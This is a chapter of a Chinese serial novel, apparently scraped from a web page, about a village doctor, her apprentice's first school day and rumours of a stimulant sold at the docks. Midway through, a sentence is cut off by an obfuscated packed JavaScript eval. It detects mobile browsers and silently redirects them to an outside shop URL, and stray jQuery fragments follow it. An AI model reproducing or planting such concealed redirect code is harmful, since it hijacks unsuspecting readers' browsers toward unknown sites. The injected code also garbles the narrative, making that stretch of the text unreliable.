白芷把毛边纸一张一张叠好,又在纸面上抚了又抚,才放进布包里。
笔帘是新的,竹篾子编的,里头卷着一支小楷兼毫、一方砚台、半截墨锭。
她把布包抱在怀里,站在前堂门口,两只脚来回倒换。
“又不是去赶考。”苏叶从药柜后头绕出来,手里戥子上还挂着半戥茯苓。
“你不懂。”白芷下巴一扬,“杨娘子说了,今儿从天地玄黄起头。天地玄黄!”
姜明夷从诊脉处走出来,拎起药箱搁在诊桌底下:“天地玄黄之后呢?”
白芷愣了一下。
姜明夷拉开门:“走了。”
晨光还没爬到济世堂的台阶上,巷子里安安静静的,远处不知道谁家的鸡迟了半拍才叫。
白芷跟在姜明夷后头,走两步蹦一下,布包在怀里一颠一颠的。
杨娘子的私塾租的是沈家院子后排屋子,门朝东。姜明夷推开院门时杨娘子正往堂屋门口贴着什么,听见门响回过头来,手里的浆糊碗差点洒了。
“姜大夫来啦!白芷,快进来。”
白芷从姜明夷身后探出半个脑袋,又缩回去,再探出来,才跨进院子。
沈举人蹲在院子西边的青砖地上,身边摊着两竹筛的旧书,书页泛黄,有几本的线都松了。
他正把一本翻开扣在筛子边上晒太阳,头发让晨风吹得东一绺西一绺的,浑然不觉。
杨娘子朝他扬了扬手里的浆糊碗:“沈举人,等会儿再借你几副字帖!”
他抬起头目光落在杨娘子身上,点了点头。
“用得着就好。”
随即又低下头翻书去了,袖子从手腕上滑下来,露出一截洗得发白的袖口。
杨娘子低声道:“沈举人借了我几本字帖,都是他自个儿收藏的老本子,外头买不到。”
姜明夷看了他一眼,这举人老爷自己晒书,头发乱了也不理,也没见有个书童。
这人跟别的读书人不太一样。
她收回目光往院门口走了两步,又回头看了一眼,沈举人正把一本散了线的书举到眼前,拿指腹小心地捻着断线的地方,动作比方才翻书时慢了许多。
白芷被杨娘子牵进了堂屋。
七八个女娃七嘴八舌地招呼她,有人问叫什么,有人往边上挪了挪让出半张板凳,白芷的声音夹在里头,又尖又亮。
姜明夷不由得在院子里多站了片刻,听见杨娘子拍了拍手让大伙儿安静,又听见白芷抢着念出了头一个字,嗓门比谁都大。
杨娘子朝她挥挥手示意放心回去,她点了点头,转身出了院子。
上午来过一个病人,老寒腿,天一冷就疼,苏叶照着旧方子抓了药,这人抱了药包道了谢便走了。
姜明夷把药柜上的几个药屉重新理了一遍,当归和黄芪各补了半斤,党参剩得不多了,改天得去镇上药材铺子里补些。
苏叶从灶间探出头来,手里捏着半把干瘪的红枣:“上回给木婶子配药剩的枣子,还能用不?”
姜明夷接过来看了看,枣皮皱得厉害,掰开一个闻了闻:“能用,搁粥里煮了吧。”
苏叶缩回灶间,不多时灶间飘出来一股枣香,混着杂粮粥的热气,把前堂的药味冲淡了些。
苏叶在灶间忙了一阵,端出两碗杂粮粥,上头搁了一撮腌萝卜。
姜明夷就着诊桌吃了半碗,把碗筷搁回灶间,洗了手擦干,正想回诊脉处把码头工人那包安神散再验一遍,前堂门口响起了脚步声。
脚步声停在门口,没有直接进来。
“姜大夫在吗?”
姜明夷从诊脉处走出来,只见许霁站在前堂门槛外头,着一身灰蓝便服。
“许衙役。”姜明夷请他进来,“坐。”
许霁在诊桌旁边的条凳上坐下来,没有靠着,腰背直直的。苏叶倒了碗水搁在他手边,他欠了欠身道了谢,手在碗沿上放了一下,没端起来。
“姜大夫,我在码头碰见几个有意思的人,想跟您说说。”
姜明夷在他对面坐下来
“码头最近出了生面孔,不是工人,来卖东西的,就在渡口东边仓库巷子靠里的位置,天擦黑了才来。手里拎个粗布口袋,不大。卖完就走。”他顿了顿,“两文一包,提神药,跟老陈卖的一模一样。”
“老陈呢?”
“好些天没见着人了。”许霁把目光从碗沿上抬起来,“但那几个生面孔卖的东西跟他一样,价钱一样,连包药的纸都一样。”
“吃的人什么反应?”
许霁想了想:“卸沙的有一个吃了半个多月,手抖得筷子都拿不稳了,码头上没人敢跟他搭伙卸货。”
“还有吗?”
“前天看到一个扛货的突然撑不住了,趴地上歇了片刻,叫工头踹了一脚。”
“踹醒了?”
“踹醒了,爬起来还能接着扛。”
“这两人后面停下做工没有?”
“卸沙那个停了三天。”
“停了三天,什么反应?”
许霁的手指在膝盖上停住了:“这个我还没注意。”
许霁的指节又叩了一下。
“停了会怎样?”
“光听你说看不准,得切脉。”
她说完便站起身去拿药箱上的脉枕,搁在诊桌上,许霁的目光跟着她的手在脉枕上停了一息。
“那若是有人愿意来看诊,您能看出来吗?”
姜明夷看了他一眼:“能。”
许霁站起来,脸上浮起一层浅笑,嘴角带着点笃定。他走到门口,回过身来:“姜大夫,改日我再来。”
人走出去了,声音还留在前堂里。
苏叶不解:“他这是……”
“他这是给我找了个由头。”姜明夷把脉枕搁回药箱上,嘴角动了一下。
这人倒是有趣。
许霁走后不久,隔壁巷子的刘婶来了,嗓门比人先进的门:“姜大夫!上回那贴膏药好使,我家老头的腰能直起来了,您再给配两贴!”
姜明夷从诊脉处出来,刘婶已经自己坐在条凳上了,手里攥着个蓝布帕子,帕子里包着几个鸡蛋,往诊桌上一搁:“家养的鸡下的,您别嫌弃。”
姜明夷笑了笑,没推辞,转身从药柜里取了膏药,又叮嘱了两句天冷注意腰上保暖。
刘婶千恩万谢地走了,鸡蛋还搁在诊桌上,蓝布帕子却忘记拿走了。
“刘婶没回来都要忘点东西,上回忘了帕子,上上回忘了篮子。”苏叶把鸡蛋端进灶间,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794576|210473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“哪天她什么都不忘了,我倒不习惯了。”
老陈不露面了,这确实是个有用的消息。
姜明夷看着门外,意有所思。
苏叶忙完灶间的活儿,又开始在前堂捣药,铜杵一下一下的,隔着半间屋子传进来。
午后日光从门槛上往后退了半尺,巷子里有小孩子追着跑过去,笑声尖尖的。
姜明夷把安神散纸包取出来又看了一遍,粉末灰褐色,焦苦味经久不散,拿指腹捻了一小撮搓开,细粉夹在粗粒里,和上回验的结果一样。
暮色漫上来时姜明夷去接白芷,沈家院子里的书还摊在竹筛上,沈举人却不在,竹筛边上多了个小马扎,上头搁着半碗凉了的茶。
堂屋里女童们正收拾纸笔,杨娘子挨个看今天写的字,白芷第一个跑出来,手里举着一张毛边纸,脸上的兴奋憋了一整天全涌了出来:
“师父你看!这些都是我今天写的!”
纸上从右到左竖着写了七八行,歪歪扭扭的,但每一笔都使了劲,纸背上洇着几处墨迹。
白芷手指戳到纸面上:“这个地字,杨娘子说我写得最有筋骨。”
姜明夷把纸接过去看了看:“的确是站得最直的一个。”
白芷笑得眼睛眯成了缝,跑回去收拾她的笔帘,毛边纸叠好了,砚台也擦了,她去拿桌上的毛笔时手肘碰了一下桌子腿,毛笔从桌沿滚了下去。
一只手把笔接住了。
沈举人不知什么时候站在堂屋门口,弯下腰捡起笔,笔头朝自己掌心、笔杆朝白芷递出去:“笔不能掉地上,笔锋会坏。”
白芷双手接过去,郑重其事地说了声:“谢谢举人老爷。”
沈举人愣了一拍。
耳朵尖从头发底下慢慢泛了红,从耳垂边上漫上去的,像墨在清水里洇开了一角:
“叫沈先生就行。”
姜明夷站在院子中央,听见这四个字,低头无声笑了一下。
这人被叫举人老爷反而不好意思了。
白芷浑然不觉,抱着笔帘蹦蹦跳跳跑过来,拽住姜明夷的袖子。
沈举人朝杨娘子点了点头,又朝姜明夷的方向做了个揖,算是作别,转身回正屋去了。
走了两步又停下来,弯腰把竹筛边那片被风吹落的银杏叶子捡了,放回筛子沿上,这才端了茶碗进了屋。
夜里。
白芷趴在桌上用新毛笔在毛边纸上画画,墨色有浓有淡,笔锋提按之间比炭条多了不知多少层。
苏叶从灶间端了碗热水出来,经过她身边时低头看了一阵:“比炭条画的好看多了。”
白芷抬起头,鼻尖上蹭了一小片墨:“那是自然。”
苏叶伸手在她鼻尖上抹了一下,抹下来一点墨,白芷脸更花了。
白芷缩了缩脖子,咯咯笑起来。
姜明夷坐在诊桌前暗自出神,码头的药换了人卖,如果是同一种,说明上头还有人在供着。
等许霁带病人来,来了便能确认是不是同一种。
白芷画完了最后一笔,头一歪,趴在纸上睡着了,毛笔还攥在手心里。
姜明夷走过去把笔轻轻抽出来,搁在笔帘上,然后招呼苏叶一起把白芷扛回房间睡。
还是明日再想吧。